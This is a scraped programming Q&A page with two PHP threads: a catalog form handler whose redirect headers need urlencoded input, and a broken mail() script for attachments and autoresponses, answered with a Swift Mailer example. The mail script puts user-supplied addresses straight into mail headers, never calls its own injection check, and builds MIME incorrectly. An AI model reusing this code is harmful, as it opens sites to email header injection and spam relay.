echo "<pre>";
print_r($_POST);
echo "</pre>";
//exit;
$inventory_id_num = $_POST['inventory_id_num'];
$inventory_desc = $_POST['inventory_desc'];
$inventory_revision = $_POST['inventory_revision'];
$quantity = $_POST['quantity'];
$catalog_status_id = $_POST['catalog_status_id'];
$order_form_type_id = $_POST['order_form_type_id'];
$catalogObj->inventory_id_num = $inventory_id_num;
$catalogObj->inventory_desc = $inventory_desc;
$catalogObj->inventory_revision = $inventory_revision;
$catalogObj->quantity = $quantity;
$catalogObj->catalog_status_id = $catalog_status_id;
$catalogObj->order_form_type_id = $order_form_type_id;
$count=count($order_form_type_id);
for ($i=0; $i<$count; $i++)
{
if(strlen($order_form_type_id[$i]) > 0)
{
$catalogObj->order_form_type_id[$i] = $order_form_type_id[$i];
}
}
if(strcmp($_POST['submit'],"Back to Order Form") == 0)
{
Header("Location: order_form.php?num=$num");
exit;
}
else
{
Header("location: search_catalog_handler.php?type=$type&option=$option&rec=$rec&st=$st&num=$num");
exit;
}
}
?>
This allows for a specific type search (with parameters) and a general type search (no parameters) from the sending page.
Assuming that catalog.obj does not output any information to the browser (which would result in an error as well), your $type variable looks like the culprit since it's the only wildcard.
Note that you'll need to do the following for all POSTed variables in your script that you want to use in a URI:
Sine it's possible that $type could be anything (it's using the POSTed variable sometimes), you should clean it up before spitting it back out in your header:
$type = urlencode($type); // Prepares the variable to be inserted in the URI
header("Location: search_catalog.php?type=$type&firstTime=1");

issue with mail() in php

i am using following code, to send a mail, with two attachments,
Problems i'm having is, it takes only one attachment, i want to send to attachment in mail, and i'm not getting autoresponse,
can any one help me please, here is my code
<?php session_start();
$redirect_url = '../thanks.html';
$your_email ='name#domain.com';// <<=== update to your email address
$attachment_enabled = 1;
$autoresponder_enabled = 1;
$name = $_POST['name'];
$visitor_email = $_POST['email'];
function get_form_data(){
global $REQUEST_METHOD;
global $_POST;
global $_GET;
$vars = ($REQUEST_METHOD == 'GET') ? $_GET : $_POST;
//strip spaces from all fields
foreach ($vars as $k=>$v) $vars[$k] = trim($v);
return $vars;
}
function _build_fields($vars){
$skip_fields = array(
'name',
'email',
'subject',
'submitbtn');
// order by numeric begin, if it exists
$is_ordered = 0;
foreach ($vars as $k=>$v)
if (in_array($k, $skip_fields)) unset($vars[$k]);
$new_vars = array();
foreach ($vars as $k=>$v){
// remove _num, _reqnum, _req from end of field names
$k = preg_replace('/_(req|num|reqnum)$/', '', $k);
// check if the fields is ordered
//if (preg_match('/^\d+[ \:_-]/', $k)) $is_ordered++;
//remove number from begin of fields
$k = preg_replace('/^\d+[ \:_-]/', '', $k);
$new_vars[$k] = $v;
}
$vars = $new_vars;
$max_length = 10; // max length of key field
foreach ($vars as $k=>$v) {
$klen = strlen($k);
if (($klen > $max_length) && ($klen < 40))
$max_length = $klen;
}
if ($is_ordered)
ksort($vars);
// make output text
$out = "";
foreach ($vars as $k=>$v){
$k = str_replace('_', ' ', $k);
$k = ucfirst($k);
$len_diff = $max_length - strlen($k);
if ($len_diff > 0)
$fill = str_repeat('.', $len_diff);
else
$fill = '';
$out .= $k."$fill...: $v\n\n";
}
return $out;
}
$vars=get_form_data();
$out=_build_fields($vars);
$body = "A user $name submitted the form:\n\n".$out;
//Auto Responser Function To Send Auto Respond
$autoresponder_from = $your_email;
$subject = "Page Edit Request";
$autoresponder_subject = "%subject% (autoresponse)";
$autoresponder_message = <<<MSG
Hi %name%,
Thank you for submitting the form.
--
MSG;
function auto_respond($vars){
global $autoresponder_from, $autoresponder_message, $autoresponder_subject;
/// replace all vars in message
$msg = $autoresponder_message;
preg_match_all('/%(.+?)%/', $msg, $out);
$s_vars = $out[1]; //field list to substitute
foreach ($s_vars as $k)
$msg = str_replace("%$k%", $vars[$k], $msg);
/// replace all vars in subject
$subj = $autoresponder_subject;
preg_match_all('/%(.+?)%/', $subj, $out);
$s_vars = $out[1]; //field list to substitute
foreach ($s_vars as $k)
$subj = str_replace("%$k%", $vars[$k], $subj);
//
$_send_to = "$vars[name] <".$vars[email_from].">";
$_send_from = $autoresponder_from;
mail($_send_to, $subj, $msg, "From: $_send_from");
}
if(empty($errors))
{
//send the email
$to = $your_email;
$subject="Page Edit Request";
$from = $visitor_email;
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
//Attach File if Attachment is done
$files = array(); //files (field names) to attach in mail
if (count($_FILES) && $attachment_enabled)
{
$files = array_keys($_FILES);
}
/*print_r($files);
exit;*/
if (count($files)){
foreach ($files as $file){
echo "hello";
$file_name = $_FILES[$file]['name'];
$file_type = $_FILES[$file]['type'];
$file_tmp_name = $_FILES[$file]['tmp_name'];
$file_cnt = "";
if($file_name!='')
{
$f=#fopen($file_tmp_name, "rb");
if (!$f)
continue;
while($f && !feof($f))
$file_cnt .= fread($f, 4096);
fclose($f);
if (!strlen($file_type)) $file_type="applicaton/octet-stream";
if ($file_type == 'application/x-msdownload')
$file_type = "applicaton/octet-stream";
$date_time = date('Y-m-d H:i:s');
$mime_delimiter = md5(time());
$mail = <<<EOF
This is a MIME-encapsulated message
--$mime_delimiter
$body
--------------------
REMOTE IP : $REMOTE_ADDR
DATE/TIME : $date_time
EOF;
$data= chunk_split(base64_encode($file_cnt));
$mail .= "\n--$mime_delimiter\n";
$mail.="Content-Type: {\"application/octet-stream\"};\n" . " name=\"$file_name\"\n"."Content-Disposition: attachment;\n" . " filename=\"$file_name\"\n"."Content-Transfer-Encoding: base64\n\n" . $data . "\n\n";
// $mail .= "Content-type: $file_type\n";
// $mail .= "Content-Disposition: attachment; filename=\"$file_name\"\n";
// $mail .= "Content-Transfer-Encoding: base64\n\n";
// $mail .= chunk_split(base64_encode($file_cnt));
}
else
{
$mail=$body;
}
}
$mail .= "\n--$mime_delimiter--";
}
else
{
$mail=$body;
}
$headers = "Mime-Version: 1.0\r\nFrom: $from \r\nContent-Type: multipart/mixed;\n boundary=\"$mime_delimiter\"\r\nContent-Disposition: inline";
$headers .= "Reply-To: $visitor_email \r\n";
mail($to,'Page Edit Request', $mail,$headers);
if ($autoresponder_enabled)
auto_respond($vars);
header("Location: $redirect_url");
}
// Function to validate against any email injection attempts
function IsInjected($str)
{
$injections = array('(\n+)',
'(\r+)',
'(\t+)',
'(%0A+)',
'(%0D+)',
'(%08+)',
'(%09+)'
);
$inject = join('|', $injections);
$inject = "/$inject/i";
if(preg_match($inject,$str))
{
return true;
}
else
{
return false;
}
}
?>
Your mail composition is both extremely ugly and extremely wrong. The best suggestion I can give you is to stop reinventing the wheel and just use Swift mailer: http://swiftmailer.org/
I've used their tool a few times and it just works!
Edit not sure why this was downvoted, but fwiw this is the code for Swift:
$message = Swift_Message::newInstance()
->setSubject('Page Edit Request')
->setFrom(array($visitor_email))
->setTo(array($your_email))
->setBody($body);
if ($_FILES) {
foreach (array_keys($_FILES) as $file) {
if (UPLOAD_ERR_OK != $_FILES[$file]['error'] || !is_readable($_FILES[$file]['tmp_name'])) {
continue;
}
$message->attach(Swift_Attachment::fromPath($_FILES[$file]['tmp_name']));
}
}
$transport = Swift_MailTransport::newInstance();
$mailer = Swift_Mailer::newInstance($transport);
$numSent = $mailer->send($message);

Categories